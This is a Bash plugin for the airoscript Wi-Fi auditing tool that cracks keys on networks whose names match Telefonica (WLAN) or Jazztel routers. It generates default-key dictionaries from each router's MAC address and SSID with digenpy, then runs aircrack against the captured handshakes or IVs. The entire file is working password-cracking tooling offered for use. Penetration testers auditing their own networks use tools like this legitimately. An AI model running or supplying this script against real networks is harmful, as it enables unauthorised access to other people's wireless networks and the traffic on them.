# Dict generators for airoscript
# Depends on digenpy_
# Copyright (C) 2009-2011 David Francos Cuartero
#        This program is free software; you can redistribute it and/or
#        modify it under the terms of the GNU General Public License
#        as published by the Free Software Foundation; either version 2
#        of the License, or (at your option) any later version.

#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#        GNU General Public License for more details.

#        You should have received a copy of the GNU General Public License
#        along with this program; if not, write to the Free Software
#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.


p_menu+=("Crack with dictionary generator");


digenpy_(){
    [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { enc="WPA"; } || { enc="WEP"; }
    if [ "$3" == "crack" ]; then
        execute "Cracking" crack $AIRCRACK -0 -l $DUMP_PATH/$Host_MAC.key -w $DUMP_PATH/digenpy__dic $DUMP_PATH/$Host_MAC-01.cap
    else AUTO=1; QUIET=0;
        digenpy $1 $2 $Host_MAC $Host_SSID $enc > $DUMP_PATH/digenpy__dic
    AUTO=0; QUIET=""; fi
}

Telefonica(){
    if [[ "$Host_SSID" =~ WLAN* ]]; then 
        avail=1; 
        [[ $test == 1 ]] && return
        digenpy_ Spanish Telefonica
        digenpy_ Spanish Telefonica crack && cracked=1
    fi 
}

Jazztel(){ 
    if [[ "$Host_SSID" =~ JAZZTEL* ]]; then 
        avail=1; 
        [[ $test == 1 ]] && return 
        [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && {  min_ivs=10; return; }
        warn $"Encription is" "$Host_ENC"
        digenpy_ Spanish Jazztel
        digenpy_ Spanish Jazztel crack  && cracked=1
    fi;
}

Crack_with_dictionary_generator(){ 
    if [ "$Host_SSID" == "" ]; then $clear; echo -e $"Error: You must select a target first"; return; fi

    if [ "$1" == "return_ivs" ]; then
        for function in "Telefonica" "Jazztel" ; do test=1; $function; test=0; [[ "$avail" == "1" ]] && return 4; done
        return 255
    else
        for function in "Telefonica" "Jazztel"; do tag; warn "${mark}Trying $function"; $function; [[ "$cracked" == "1" ]] && return; done

        if [ "$1" == "autocrack" ]; then
            export wait_for_execute=1; AUTO=1; selectcracking 1; AUTO=0; export wait_for_execute=0;
        else
            selectcracking
        fi

    fi
}
